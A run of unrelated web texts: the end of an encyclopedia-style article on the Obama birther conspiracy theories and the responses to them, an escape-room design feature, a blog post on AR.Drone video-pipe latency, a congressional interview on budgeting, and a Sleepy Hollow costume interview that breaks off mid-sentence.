"Whatever can't be ignored can be twisted to fit into the narrative; every new disclosure of something that should, by rights, end the controversy only opens up new questions, identifies new plotters", he wrote.[54] Because Obama's release of the short-form had only "stoked the fever of conspiracy mongers", Koppelman predicted that releasing the long-form certificate "would almost certainly" continue the rumor cycle.[54] In response to the notion that Obama's grandparents might have planted a birth announcement in newspapers just so their grandson could some day be president, FactCheck suggested that "those who choose to go down that path should first equip themselves with a high-quality tinfoil hat."[21] Brooks Jackson, the director of FactCheck, comments that "it all reflects a surge of paranoid distress among people who don't like Barack Obama" and who want the election results to go away.[217] Chip Berlet, a journalist who has studied the spread of conspiracy theories, notes For some people, when their side loses an election, the only explanation that makes sense to them – that they can cope with – is that sinister, bad, evil people arranged some kind of fraud.[218] American political writer Dana Milbank, writing for the Washington Post, described the Obama citizenship theories of Bob Schulz (chairman of the We the People Foundation, which in 2008 publicly challenged Obama's citizenship) as "tales from the tinfoil-hat brigade".[219] Colorado presidential elector Camilla Auger, responding to lobbying of members of the Electoral College, commented: "I was concerned that there are that many nutty people in the country making depressing, absurd allegations."[116] Some commentators have asserted that racism is a factor motivating the promotion of Obama citizenship conspiracy theories.[2][220] J. Richard Cohen, the President of the Southern Poverty Law Center, an organization that monitors hate groups and extremism, wrote an e-mail to supporters in July 2009 declaring: "This conspiracy theory was concocted by an anti-Semite and circulated by racist extremists who cannot accept the fact that a black man has been elected president."[221] An academic psychologist commented that a study published in the Journal of Experimental Social Psychology supported a conclusion that racism has played a role.[222] Donald Trump's questioning how Obama gained admission to two Ivy-League institutions, as well as his comment, "I have a great relationship with the blacks," led David Remnick, David Letterman and Bill Maher,[223] among others, to accuse Trump of racism,[222][224][225] and an increased attention on race with respect to Obama.[224] In April 2011, Marilyn Davenport, a Tea Party activist and member of the executive committee of the Republican Party's local Orange County, California, organization, created a nationwide controversy[226] when she circulated a photograph by email, widely seen as racist, that had been edited to depict Barack Obama as the child of two chimpanzees, and[227] to which she had added the caption, "Now you know why no birth certificate".[228] The party chapter censured her and asked her to resign, but she refused.[229] Following the release of Obama's long-form certificate later that month, The New York Times remarked in an editorial that, "It is inconceivable that this campaign to portray Mr. Obama as the insidious 'other' would have been conducted against a white president."[228] Legislation and litigation The controversy over Obama's citizenship and eligibility for the presidency prompted a number of Republican state and federal legislators to propose legislation aimed at requiring future presidential candidates to release copies of their birth certificates. Some legislators also lent their support to birth certificate-related litigation against Obama, joining as co-plaintiffs.[230] Although Obama was confirmed as president-elect by Congress on January 8, 2009,[231] and sworn in as President on January 20,[232] litigation continued into his presidency. Numerous individuals and groups filed state or federal lawsuits seeking to have Obama disqualified from standing or being confirmed for the Presidency, or to compel him to release additional documentation relating to his citizenship.[233] By mid-December 2008, at least 17 lawsuits had been filed challenging Obama's eligibility in states including North Carolina,[234] Ohio,[235] Pennsylvania,[236] Hawaii,[237] Connecticut,[238] New Jersey, Texas and Washington.[237][239] No such suit resulted in the grant of any relief to the plaintiffs by any court; all of the cases were rejected in lower courts.[240] Three post-election suits were dismissed by the Supreme Court of the United States.[38][241] In April 2011, the Arizona legislature became the first to pass a bill "requiring President Obama and other presidential candidates to prove their U.S. citizenship before their names can appear on the state's ballot".[242] The bill, HB 2177, was vetoed by Governor Jan Brewer on April 18.[243] Obama is not the first President to be the subject of controversy surrounding the location of his birth. Andrew Jackson was the subject of similar claims, although it is not certain that they were raised during his presidency. Some said that Chester A. Arthur was born outside the United States, with his birth records later allegedly falsified to show he was born in Vermont.[244][245] Impact on the 2012 presidential election and beyond In May 2012, the Arizona Secretary of State, Ken Bennett, asked Hawaii to verify Obama's Hawaiian birth to ensure his eligibility to appear on the November ballot.[246] After Bennett proved that he needed the information as part of the regular course of official business, Hawaii officially confirmed that the information in the copy of the Certificate of Live Birth for the President matches the original record in their files.[247][248] Later the same month, the Mississippi state Democratic Party requested Hawaii to verify that the long-form image on the White House website matched the copy on file and they were provided with a certified verification, bearing the state seal and signed by state registrar Alvin T. Onaka, who had certified both released birth certificates.[249] In September 2012, the State Objections Board of Kansas, composed of "three of the state's top elected Republicans", delayed acting on a petition to remove Barack Obama's name from the ballot, requesting information from Hawaii regarding his birth certificate;[250] but later voted unanimously to accept Obama's citizenship and retain him on the state's ballot, despite objections from the floor by Orly Taitz.[251] White House responses A common claim among those arguing that President Obama was not born in Hawaii is that all doubt would be settled if Obama released his "long form" birth certificate. However, commentators noted that doing so would be disadvantageous to Obama. First, it would encourage speculation as to why it took so long to release the document. Second, caving in to his political adversaries' demands would embolden them by giving them a victory. Finally, it would open the door to demands for other personal records unrelated to his birth certificate.[252] Despite these concerns, both Obama and his press secretary have responded to reporters' questions about the issue. Press secretary's response At the end of the May 27, 2009, press briefing, WorldNetDaily reporter Lester Kinsolving asked about Obama's birth certificate. White House press secretary Robert Gibbs replied, "It's on the Internet", to which Kinsolving responded "No, no, no – the long form listing his hospital and physician." Gibbs responded as follows: Lester, this question in many ways continues to astound me. The state of Hawaii provided a copy with the seal of the President's birth. I know there are apparently at least 400,000 people (laughter) that continue to doubt the existence of and the certification by the state of Hawaii of the President's birth there, but it's on the Internet because we put it on the Internet for each of those 400,000 to download.[253] At a July 27, 2009, press briefing, radio talk show host Bill Press asked Gibbs if there was anything he could say to make the issue go away. Gibbs answered, "No. I mean, the God's honest truth is no," because "nothing will assuage" those who continue to pursue what he called "made-up, fictional nonsense" despite the evidence that Obama had already provided.[254][255] On August 6, 2009, Gibbs commented, "You couldn't sell this script in Hollywood," and summarized the contentions that he considered "totally crazy": A pregnant woman leaves her home to go overseas to have a child – who there's not a passport for – so is in cahoots with someone ... to smuggle that child, that previously doesn't exist on a government roll somewhere back into the country and has the amazing foresight to place birth announcements in the Hawaii newspapers? All while this is transpiring in cahoots with those in the border, all so some kid named Barack Obama could run for President 46 and a half years later.[256] Barack Obama's response At the February 2010 National Prayer Breakfast, Obama commented, "Surely you can question my policies without questioning my faith. Or for that matter my citizenship."[257] He directly addressed the issue in August 2010, in an interview with Brian Williams. Williams asked Obama about the fact that a fifth of the American people do not believe that he is either American born or a Christian. Obama responded that "there is a mechanism, a network of misinformation that in a new media era can get churned out there constantly". He then added, "I can't spend all my time with my birth certificate plastered on my forehead."[258] On a few occasions, Obama has joked about the conspiracy theories surrounding his birth certificate and citizenship. At 2010 White House Correspondents' Dinner, Obama said there are few things in life harder to find and more important to keep than love, and then added, "Well, love and a birth certificate."[259] At the 2011 Gridiron Dinner, Obama referred to Bruce Springsteen's song, "Born in the U.S.A.", and commented, "Some things just bear repeating."[260] On March 17, 2011 (Saint Patrick's Day), Obama said, "Now, speaking of ancestry, there has been some controversy about my own background. Two years into my presidency, some are still bent on peddling rumors about my origins. So today, I want to put all those rumors to rest. It is true my great-great-great-grandfather really was from Ireland. It's true. Moneygall, to be precise. I can't believe I have to keep pointing this out."[261] On January 17, 2012, during a televised tribute to actress Betty White on her 90th birthday, Obama taped a segment in which he wrote White a letter saying that, given her appearance and vitality, he not only could not believe she was 90, he did not believe her, and requested to see her birth certificate.[262] In an April 2011 interview with George Stephanopoulos, Obama said, "I think that over the last two and a half years there's been an effort to go at me in a way that is politically expedient in the short-term for Republicans, but creates, I think a problem for them when they want to actually run in a general election where most people feel pretty confident the President was born where he says he was, in Hawaii. He doesn't have horns. We may disagree with him on some issues and we may wish that you know, the unemployment rate was coming down faster and we want him to know his plan on gas prices. But we're not really worrying about conspiracy theories or ... birth certificates. And so ... I think it presents a problem for them."[263] On April 27, 2011, referring to "sideshows and carnival barkers",[264] Obama appeared in the White House press room an hour after the release of the long form and said, "I know there is going to be a segment of people for which no matter what we put out this issue will not be put to rest. But I am speaking to the vast majority of the American people, as well as to the press. We do not have time for this kind of silliness. We've got better stuff to do."[138][264] Later in 2011, Obama's re-election campaign offered for sale mugs with a picture of Obama (captioned "Made in the USA") and the image of the birth certificate. The campaign states, "There's really no way to make the conspiracy about President Obama's birth certificate completely go away, so we might as well laugh at it – and make sure as many people as possible are in on the joke."[265] See also References Barack Obama's vital records FAQ, Hawaii State Department of Health Analysis Commentary |
You’re trapped in a room with a group of eight other people. There’s a sadistic murderer on a monitor, and he's laughing at you. Your only way out is to solve puzzle after puzzle. To some readers, this might sound like the premise of a Saw film. More game-savvy types might recognize the premise of the Zero Escape series—but what if this were happening to you in real life? If you swing by Real Escape Game in Los Angeles, it could be. The escape room company has teamed up with Aksys Games and Spike Chunsoft to create an escape room based on the cult hit adventure game series. Opening this week, “Real Escape/Zero Escape” promises to translate the experience of the story-driven puzzle games into escape room form, while also creating a gameplay experience that series newcomers can enjoy. The concept of essentially making a real-life spinoff game for the Zero Escape series raises some interesting design questions. How do you adapt a story-driven multi-hour single-player game for a multiplayer 60-minute real-life experience? How do you rethink the game space? And how do you pinpoint the key experience points that sell players on the shared fantasy? We spoke with the SCRAP team for some design insight on the development of Real Escape/Zero Escape, and saw their early efforts at work in an alpha test in Los Angeles. Drawing the right elements from the source material For escape room designer Tamami Kawakata, building Zero Escape in real life became about designing an experience about trust. For her, this is one of the key story elements from Zero Escape she felt could be translated into a game experience. But while the characters in the video game are able to have conflicting motivations and can be distrustful of each other, real people in the escape room probably won’t be, which presented one of her first design challenges. From the first Zero Escape game, Nine Hours, Nine Persons, Nine Doors “It's hard to make a game about trust," she says, "because it's easy to trust players, and each other, because it's 'just a game.' It's not real, and they won't die, and they won't be killed. So, how [do we] make them trust or each other or how to install doubt?” This led her and her fellow room developers to reach back to the Zero Escape games for mechanics involving splitting up the players. Escape room games frequently will create situations where players need to break up larger tasks into smaller ones in order to solve large puzzles, but Zero Escape builds on its ‘locked in a room by a manipulative terrorist’ scenario by dividing players even further, and limiting communication between the groups. ‘Trust’ then, becomes more about trust in other players’ abilities, rather than their motivations. With multiple puzzles being built around sharing correct solutions, players are constantly gauging if the information they have is accurate or not, and if so, how they can work with their fellow players to get it. The production challenges of digital to reality After a theme is decided upon, how do you build and populate a literal, physical space to turn it into an engaging puzzle? Producer Doc Preuss says the way Zero Escape often turns budget constraints into a virtue proved to be an inspiration as well, but construction was still difficult. “That was one of the hardest parts," he says. "There were very ambitious early concepts, but as with digital game design, you have to be cognizant of limited resources, limited time, and eventually agreeing on the concept that is going to be executable within your timeline.” Strongly themed escape rooms lend themselves to giving players objects like Spellbooks and physical keys, so SCRAP searched the Zero Escape games for objects to anchor its puzzles around, and landed on the watches that the terrorist Zero attaches to every character before the game starts. It’s one of the few objects in the game that SCRAP builds a tiered puzzle off of, and like in the games, who’s wearing what watch plays into a set of character information that creates social puzzles later in the experience. For the most part, the puzzle rooms are sparsely populated, mostly not to confuse players as to what’s a puzzle piece, and what’s an easter egg. Since Kawakata, Preuss, and their team want to make sure the room is playable by fans and non-fans alike, many of the direct references to the game are delivered in pre-game presentations, or baked in to the flavor of the rooms for fans to figure out for themselves. The clock is your friend, and the player’s enemy Zero Escape games, despite the ‘trapped in a room’ setting, are still visual novels—story-driven experiences where the puzzles are meant to unlock dramatic reveals and character clashes that are not replicable in a time-limited real world escape game with 8 random strangers. But that doesn’t mean a room can’t build toward something. After deciding on theming the puzzles around trust, Kawakata says the biggest mysteries need to come at a precise point in the game. “I think about the player feelings, and that the game is 60 minutes, and the final scene, where I decide to put the exciting point needs to be at 55 minutes or so." That moment becomes a point then, for a metapuzzle to exist that’s built on the foundation of the other puzzles. In a game about trust, it’s an especially thematic high note, since it’s a moment where the players both need to really hope that their allies elsewhere in the room succeeded, and manage their frustrations and tension at how fast time is running out. Those last moments are also where Kawakata looks for her last key player experience--that sense that “'I could have escaped if I had 5 more minutes,'" she says. "That’s the reaction I want players to have as a designer. We have to make players believe it’s possible to solve this puzzle. But if it’s no good, it’ll feel impossible.” |
I’ve been running some crude benchmarks of the UAV::Pilot video timing. As I went over in my last post, I’m planning on having the video be read from the network in one process, and have it piped out to another process for decoding and display. I added logging statements that show the exact time (using Time::HiRes::gettimeofday() ) that a video packet comes in, and then another log for when we display it on the SDL window. The first benchmark used the existing uav_video_display that’s in the UAV::Pilot distribution, reading from the file ardrone_video_stream_dump.bin . This file is in the UAV::Pilot::ARDrone distribution and is a direct dump of the network stream from an AR.Drone’s h.264 video port. It’s primarily used to run some of the video parsing tests in that distro. I found that on my laptop, there was a delay of 12.982ms between getting the video frame and actually displaying it. At 60fps, there is a delay of 16.667ms between each frame, so this seems quite acceptable. The AR.Drone only goes up to 30fps, anyway, but it’s nice to know we have some leeway for future UAVs. I then implemented a new script in the UAV::Pilot::ARDrone distro that read the same video frames from STDIN. I had planned on doing this with the same file noted above, like this: cat ardrone_video_stream_dump.bin | ardrone_display_video.pl 1 cat ardrone_video_stream_dump .bin | ardrone_display_video .pl But this ended up displaying only the last frame of video. My theory on why this happens is that we use AnyEvent for everything, including reading IO and telling SDL when to display a new window. Using cat like that, there’s always more data for the AnyEvent->io watcher to grab, so SDL never gets a chance until the pipe is out of data. At that point, it still has the last frame in memory, so that’s what it displays. I tried playing around with dd instead of cat , but got the same results. So I broke down and connected to the actual AR.Drone with nc : nc 192.168.1.1 5555 | ardrone_display_video.pl 1 nc 192.168.1.1 5555 | ardrone_display_video .pl Which did the trick. This does mean that the results are not directly comparable to each other. We can still run the numbers and make sure the delay remains insignificant, though. And indeed it did. It averaged out to 13.025ms. That alleviates my concern that using a pipe would introduce a noticeable delay and things can go right ahead with this approach. |
Rep. Earl Blumenauer, who represents Oregon's 3rd District in Congress, including Portland, is known as a staunch progressive in the Democratic caucus. A canny, longtime legislator -- Blumenauer has been in office 14 years -- he made waves last week when The New York Times highlighted him as a Democrat who thinks cutting the budget is a good idea. While the reporter, Matt Bai, was surprised that a progressive might take fiscal responsibility seriously, progressives have long talked about the importance of making sure public money is spent only on what we need. One correction later -- Blumenauer did not, as the Times suggested, refer to the Social Security Trust Fund as "make-believe money" -- the Prospect called the congressman in Oregon to talk about a progressive approach to budgeting and possibilities for the next Congress. There was a lot of reaction to that article! I was a bit taken aback by the headline ["One Liberal Voice Dares to Say, Cut the Budget"], which Matt didn't write. The fact is that Democrats have been at the forefront of trying to deal with spending money responsibly: Efforts to reform agricultural spending; trying to make adjustments to military spending; the huge waste that is represented by the Iraq War, which Americans now realize was a mistake. A centerpiece of the health-care reform is the capacity to deal with more value from Medicare and Medicaid spending, rather than just volume. Now, of course, Republicans are lining up against some of the provisions that would improve the value, the quality, and the cost of care. These are things that I have been working on all my career, and I think that is what most of my Democratic colleagues would feel comfortable with. And yet Democrats are still considered to be the party of spending. Is it easier for Republicans to frame this debate, given their limited government preferences? It's actually morphing into "no government." I'm serious. The debate used to be with Republicans about big government versus little government. Now, it's much smaller versus no government. These are people that cut away at the capacity of the federal government to oversee and regulate offshore drilling, agricultural inspections, having the capacity of the IRS to make sure that laws are being enforced fairly for everybody, this is stuff going over the edge. They're also protesting taxation with representation. It's breathtaking, and it would be amusing if they weren't serious. It's completely corrupted the discussion about legitimate policy decisions. So how should Democrats address the budget? We as Democrats have not spent as much time comprehensively dealing with the big picture, and that was most of what Matt and I were talking about. We are going to have to look at how we spend money differently, in defense and agriculture and infrastructure. I support putting more money in the highway trust fund for roads and transit. I really do think that we can do things to get a lot more value out of federal spending. We ought to avoid lots of little piecemeal decisions on the tax side of the equation. I'm a voice that hopes that as we move forward, we can take a deep breath and look at the range of federal policies that deal with taxation and not have a lot of little rifle shots. That's a criticism we've heard about the tax report just out from the President's Economic Recovery Advisory Board. What did you think of that? There's some stuff there that's a good start. This is an issue the president needs to own sooner rather than later. He's being demonized by the right wing, the people who are against taxation with representation. I just had breakfast this morning with a thoughtful, successful business person who had no clue that there were any tax cuts in the recovery package. How come the administration has such a hard time telling people about these accomplishments? They have been dealing with a tidal wave of events, from swine flu to BP to 100 million eggs or billion eggs, it's just one thing after another. In part, there has been a complete collapse of responsible Republican opposition. I'm a big boy, I've been in partisan politics all my life, but ... I've worked across party lines from the time I was a freshman legislator under a Republican governor. My lord! You saw people in the Senate voting against the deficit commission that they co-sponsored. I [proposed] the legislation [on end-of-life care] that Sarah Palin and others lied about, they called it "death panels," it was completely hijacked even though part of the reason I offered it was that it was something that Republicans and Democrats agreed on. I thought it was a building block for health-care reform. The administration has faced something that no president has faced in terms of unyielding, mindless, politically inspired opposition. As you know, any time Social Security comes to the front of the debate, emotions run high. Do you think there are any politically feasible approaches to that issue? Establishing a long-term adjustment to protect and strengthen Social Security is one of the easier parts of the equation. There will be a concern of people who do more demanding jobs [if raising the retirement age is on the table]. They're not going to work till they're 70, and we can [work that into the system]. There's recognition that particularly wealthier people should pay more. Why should I pay the same Social Security tax as A-Rod or Warren Buffet? You put those things together and let reasonable people talk about them, and I think you will come up with two or three approaches that not only would be accepted by Congress, they'd be accepted by the American public. And you would make sure that Social Security is there; particularly for most Americans it is the only guaranteed inflation-proof part of their retirement. We can drive a stake through the heart of the notion of privatization; we were right to fight it. You're more confident than most! I'd be surprised if this is something that isn't produced by the administration and Congress. What will kill it is that everyone is circling, and they want to hyper-politicize it, and they want to take the worst-case scenario they would imagine, and then they run with it to the extreme. Somehow you can't look at reduction in benefits for wealthy people 30 years from now without threatening retirement security for middle-income people in the next decade. Well, that's nonsense. But if everybody is going to have their worst case -- "if you raise the tax, it's going to be raised to some unacceptable level and shut down commerce and industry" -- everything's off the table and we lose a chance to move forward. Political opportunism and gridlock can win. Do you think there's a chance that, with Republicans likely to gain more seats in the fall, we'll see them take more responsibility for bipartisan legislating? I'm hopeful, but I'm not counting on it. One example of how bizarre it's gotten? At the same time that the [American Automobile Association], the truckers [and the Chamber of Commerce] are telling the [Transportation] Committee to raise the gas tax, all the Republican leadership and half the Republicans voted against the extension of the Transportation Act, because they wanted an amendment to make it impossible to raise the gas tax, ever. Looking at the debate and that vote is stunning. This is stuff that passes by unanimous consent. [During the Bush administration], they had to have 12 extensions of the last Surface Transportation Act. ... It passed overwhelmingly every time. I'm hoping we can get past this election craziness, because it's not just what the public needs, it's what they expect. If my Republican friends make some gains and have a stronger position in the House and Senate and continue to be not playing nice, you look at the polls, the public regards them with more disdain than Democrats. The Republican brand is not helped by not being responsible. |
When Kristin Burke — also a longtime GFY reader and author of the costume design site Frocktalk — invited us to give Fug Nation an inside peek at Sleepy Hollow’s Wilmington, N.C., set and dish wardrobe strategies with her, we jumped at it. The following post is NOT sponsored, nor paid for in any way except by our own wallets. And there are no spoilers for tonight’s season finale. The slideshow contains photos of the Regular Joe clothes Ichabod (likely) will never wear, his coats, tidbits from special-effects makeup, and scenes from the costume department; for Abbie’s stuff, shots from the set, an interviewer with Tom Mison’s set costumer, and anything potentially spoiler-y, check out Part 2 tomorrow. WILMINGTON, N.C. – “I need to talk to you about the Latex Twins.” It’s early days in the shoot for the two-part, two-hour Sleepy Hollow finale, and costume designer Kristin Burke is standing in the special-effects makeup trailer underneath a shelf holding rubberized molds of actor John Cho’s head gazing in lifeless, fleshy monochrome into middle-distance. Burke and Corey Castellano, the makeup department head who manages effects, are discussing a zany character concoction for which they have to make two featureless people look as if they’ve melted into each other and are slowly being pulled apart. Conversations like this seem typical on the set of Sleepy Hollow, the FOX show that ostensibly resurrected the Headless Horseman legend but then expanded it to include the threat of a Biblical apocalypse, purgatory, horned demons, and other creatures of myth that harass the displaced eighteenth-century soldier Ichabod Crane and his modern-day cohorts. The show gets accolades for the sharply funny man-out-of-time gags and the charms of its cast, but the haunting production design of the show — from sets to makeup to costumes to special effects — are the unsung aspects that really sell it. Using manpower to execute these visions, rather than computers, is also the norm here: Moloch, the horned demon engineering the charge toward the apocalypse, is a guy in a suit, as was a Golem, a creepy tree-person, the Sandman, and other things that go bump in the night. The Latex Twins were conceived by the writing staff, based on a photograph of two figures sitting on the ground, back-to-back, their heads yoked with a gooey plasma-like substance. (Like stepping on a piece of fresh gum, then slowly lifting your shoe off the pavement, except without the associated expletives. Well, there may have been; we weren’t there for that part.) After some debate about logistics, Burke and Castellano settle on dressing the actors in stretchy body-stocking-style Morph Suits, using panty-hose sprayed with special substance to harden it and give it that shiny, sticky effect, simulated the shared, stretched tissue. The duo opts to assemble the pieces ahead of time and then sew them into place on the day, in the moment, on the actors’ bodies. All for a passing two-second shot, probably a camera pan through a dark corner of purgatory, establishing its various horrors. It’s a long way to go for atmospherics. But Sleepy Hollow is undaunted by the long way, and in fact, the long way seems to be the main way. The show is so visually ambitious that, in order to deliver on time, it often shoots with two units at a time — meaning, the episode’s director is working at one location, and another full crew is someplace else. One shot we watched, in a wooded part of Wilmington whose eeriness was enhanced by the show’s omnipresent mist machines, involved simulating an abrupt shift from bright outside light to darkness by having several crew members and a machine help raise and lower a giant tarp over the actress’s head for successive shots, something that also required constant adjusting to compensate for the sun’s constant motion. For another setup, an actor wakes up with Moloch looking over him/her. To achieve communicating this in extreme close-up with Moloch’s reflection in the actor’s pupil, they used the actual Moloch and a painstakingly nifty camera setup, rather than “fixing it in post,” so to speak. One scene with complex effects and a bloody visual gag took almost all day to shoot, and Burke’s team was overseeing fittings for a hundred or so extras for the following week. It’s a crew of 450 strong (more than three-quarters of them local), pulling very long days, experiencing the curse of being good at their jobs: Every day that they pull off the requirements of each new episode impressively quickly and on a tight budget, that crazy schedule suddenly seems reasonable, virtually guaranteeing they’ll have even tighter constraints next time. Even so, the crew was unfailingly pleasant, even before any of them knew two fools with a blog were on the scene, and Burke graciously spent two days letting us tag along with her. We’ve split our almost two-hour tape-recorded interview with Burke into two parts; tomorrow’s will include anything pertaining to tonight’s finale, so as not to risk ruining anything for anyone, and there will be a bonus Q&A with set costumer Julia Rusthoven, whose main focus there is, as we call it, is Touching Tom Mison. We hope you enjoy all this almost as much as she probably enjoys that job. The Burke Q&A starts after the jump. JESSICA: Let’s start with your background and what got you into costuming, before we dig into the show itself. What did you study in undergrad that got you here? KRISTIN BURKE: I went to Northwestern. I have a degree in French and I have a degree in radio and television and film. J: What was your first job in costumes? KB: In my junior year of college, I went out to LA to do a summer internship, and I had interviewed with Columbia Tri-Star and they put me — this is so ridiculous — they put me as the assistant production coordinator on the movie Hudson Hawk. I was like, “Uhhh, like, shouldn’t that go to somebody experienced?” J: And look what happened to Hudson Hawk! KB: I know! Hello, Ishtar! And Hudson Hawk shot all over the world, so we were the LA office and there was a Budapest office, there was a Rome office, you know. This was 1990, so we would photocopy all the paychecks and fax them to Rome to be approved. At the time, the costume designer on that movie, and this is in 1990, was making nine thousand dollars a week. In 1990 that is a lot of money. HEATHER: That’s a lot of money now. I’d take that. Done. KB: Right? So you can imagine, twenty-odd years ago, I saw that, as an impressionable twenty-year old girl, and I was like, “I’m going into costumes.” Working as an assistant production coordinator was unpaid, a college-internship kind of deal. But I made friends with those people, and they took me under their wing and they said, “We’ll pay you $12 an hour, and you can come learn with us.” Like, hello. The costume designer was Marilyn Vance. She just did Bonnie and Clyde, she was Academy Award-nominated for The Untouchables, and I got to work with her and learn with her and I was like, “Man what is wrong with this? This is kind of it.” So when I graduated from school, I came to LA, sent resumes everywhere, designed for students at the AFI, and got hooked up with Roger Corman’s company. J: As so many people have. KB: There are only so many movies you can do for Roger Corman before you have to get the fuck out of there. I did nine movies for Roger in a year. That’s crazy. I was there from 1992-93. I started working at Corman’s company and then met people and branched out with them, and… I mean, it was a struggle, I have to say, because Roger Corman, as great as it was, like a film school, it carried with it a stigma as well. You had to battle that stigma to prove yourself. H: You had to hustle. You are the American hustlers. KB: Oh, honey, it is all the hustle. That is what we do. I was actually just talking about that the other night, the whole idea of how we’re such hustlers in this business. Get your hustle on. It’s crazy. And you can do the hustle well and be cool about it, or you can do the hustle and be an asshole, and I tried to be nice about it. And I can live with my decisions, you know? So, it’s been a long road. And I think back to those times at Corman, and I mean, some of my best girlfriends are chicks I met at Roger Corman in that year. J: War buddies. KB: Absolutely, you’re in the trenches with people. How many AM/PM hot dogs can we eat for Third Meal? By contract we’re supposed to have a break, and six hours later, a lunch, and then six hours after that, Second Meal, and then six hours after that, if they’re still going, Third Meal. There were many times when we had Third Meal working with Roger. Many times. I have a lot of stories for the burn book. H: While we’re subliminally trying to convince you to write that book right now, let’s get into what got you to Sleepy Hollow. KB: Yeah, that’s a good story. So, I usually work with a film director named James Wan. We’ve done four or five movies together. H: He’s doing Fast and Furious 7, right? And he did The Conjuring. KB: You know how you find people in your life that you work with that you love, and it’s a very special thing? I did Insidious for free, that’s how much I love him. So, he got Fast and Furious 7, and they have people that they use, so he called me a few weeks after and he was like, “I fought for you and I couldn’t get you and I’m so sorry.” I said, “It’s no big deal, I know the lady who’s done all those movies, her name is Sanja Hays, and she’s wonderful, you’re going to be well taken care of.” And about two days later, there was a Costume Designers Guild party and Sanja was there, and she looked like she was afraid I was going to come up and slap her or something. But I said, “I just want you to know, I’m so happy that you’re working with James, I told him how awesome you are, and here’s how to work with him, and you’ll be set.” And she felt so bad, and I said, “Don’t feel bad, this happens! But, I just sold my house so if you hear of anything I’d really appreciate it because now I’m kind of in a jam.” [Laughs] So two weeks later, she calls me on the phone and she says, “I’d like to put you up for a TV show.” Sanja did the pilot but she couldn’t do the show because of Fast and Furious 7. And I’m like, “Yeah, Sanja, I’ve done TV before and I’m just… I’m not interested.” It’s a different kind of world and in my experience, it wasn’t for me. TV people are a different breed than film people. But she said this one was special, and that they are film people – they wrote Star Trek, and it’s Len Wiseman [Underworld], and she swore they were all great – and so I watched the trailer and it was Sleepy Hollow. And I was like, “Ohhh. This is a movie, really.” So I went into the meeting, and I’m a mess because by this time I’m out of my house, I don’t have any clothes, it’s horrible. I go into the meeting and there are 8 or 9 people, execs from FOX and stuff, and I sit down and they’re like, “Okay, we see you haven’t done a lot of television, why is that?” And I was like, “Well, I hate [doing] TV.” [Laughs] Because I have nothing to lose. Do I want to do this show? I don’t know, so I’m going to be honest. So I told them I don’t enjoy working on TV, but that I saw the pilot and I got what they were doing, and that it was exciting. And we talked for like 45 minutes, and then I walked out and called my agents and said, “Yeah, I told them I hated TV,” and they were like, “Well, that’s great. Let’s keep looking.” And then a week later I got the phone call. J: They must have liked your moxie. KB: They must have! I don’t know. I really don’t know what it was. But I did get a good feeling from them in the meeting. They weren’t the normal sleazy television people that, you know, unfortunately are sort of ubiquitous around Los Angeles. It was nice vibe, and Alex Kurtzman and Bob Orci [ed: Fringe, Alias, longtime J.J. Abrams guys] just struck me as people who I grew up with, in a way. I felt very comfortable with them and understood what they were looking for. Those guys are nuts-genius creative minds. I felt like I wanted to hug them, it was weird. H: And so in a way, you and Sanja traded gigs. KB: You know, she said to me that this whole situation is all about kindness and the value of kindness. And that’s so true. So Sanja and I have become much better friends through this, because she’s asking me questions about James, and I’m asking her questions about, “Where the HELL did you get that fabric, because I need more of it!” J: What are the challenges of coming into a situation like this where someone else started the vision, and you have to carry it on? KB: I have followed Sanja’s career for a long time and I know her aesthetic. Sanja has done Total Recall and a lot of science-fiction-y movies, she’s done XXX… There’s a sleekness and a sexiness and a seriousness about her work that is really different from mine, which is more quirky-vintage. So it has been such a stretch and such an exercise for me to get into someone else’s headspace and make decisions from that place. That’s a real challenge, but for me it’s proven to be super valuable and it’s really allowed me to stretch my wings. H: What was the kind of prep work you had to do even before scripts started coming in? What COULD you do, without knowing what the writers were cooking? KB: I only had four weeks of prep. We had a few outlines, so I knew what was coming down the pike, or at least I thought I knew, but of course the best laid plans… We tried to be as prepared as we possibly could. We pulled thirty-seven containers’ worth of stock from Fox, which was essentially the “look” of the show in the contemporary bits. I am a freak about the details, and I wanted to make sure that since we were portraying the New England-y version of Sleepy Hollow, that we had plenty of Barbour jackets, Fair Isle sweaters, and the like. I shuddered to think it would look “Hollywood” in that sense. We pulled with a very tight East Coast vibe in mind – – conservative, restricted color palette, et cetera. And I knew that we’d be pulling for for many of our day players from that stock, and we would need options for emergencies. I’m really happy with the way it worked out. H: When we were on set, you mentioned some of the rules of the Sleepy Hollow costume universe, as far as color palette. What are those rules? KB: In talking with Sanja before I started, she said, “Whatever you do, no blue.” No blue jeans, nothing. In the pilot there was no blue. Well, it’s an unfair thing to say that there was NO blue, because you saw Ichabod’s vest, it was that tealish-blue. So blue WAS used. But it was very judiciously used. H: Why? KB: I think this is an edict that comes from Len Wiseman [who also directed the pilot]. If you really watch the show critically, you can see what the absence of blue does to the palette of the show. It takes it into a darker place, a little bit more sinister place. Blue is a calming color, a beautiful color. But let me tell you something, when you have a lot of detectives to do and you can’t put anyone in a motherfucking blue shirt, it’s like, “FOR REAL?” I go to the store and it’s like, “Okay, what do you have in green, khaki…” There’s tan, so much tan. And yellow. It’s all we got. H: I would think it’d be the hotter side of the color wheel they’d be worried about, like oranges. KB: We can’t use bright orange. If we take it down, if it’s a muted or burnt pumpkin, we might be able to put that on someone. As long as it doesn’t pull focus. H: So no neon. We will never see Abbie dressed like a hi-liter. KB: But we can do red. Headless Horseman wears red. And incidentally, Headless Horseman is a Hessian, which is a German soldier-mercenary, and they wore a completely different uniform than the one he wears, which is a British officer’s uniform. So everyone under his command wears that, and the British officers wear red. That was something they committed to in the pilot that we are married to. H: I feel like that has to come from red being associated with the devil, and the show’s show’s mythology that the demons infiltrated the British ranks, so you’re depicting the two sides of the war and how evil, red, was on the British side. Sorry, England. KB: Yes, sorry about that, guys. But for audiences, it’s a whole lot easier if we codify it in that way. Because to be quite honest with you, in the Revolutionary War, there were Americans who wore red and British soldiers who wore blue, and everybody was being killed because people didn’t know what side they were on. The drummers of the regiments on the British side wore opposite colors. So if troops wore red coats with blue facings, the drummers wore blue coats with red facings, and got themselves killed time after time after time. H: How much of this history is stuff you threw yourself into researching as you got this job? Were you conversant in historical detail before this? People forget the costumers and not just the writers are doing that work. KB: Doing it, and sharing it. In this kind of a job environment, it is incumbent upon me to know this stuff. If I don’t, I’m not doing my job. So yeah, I have lost myself in books, and I mean ridiculous amounts of time that I should be spending doing other things, because I want to understand what it felt like to be there. Like, to get into the situation where Katrina gives her son up for adoption, I fell down the rabbit hole so hard, and you’re crying reading these stories about kids who were left 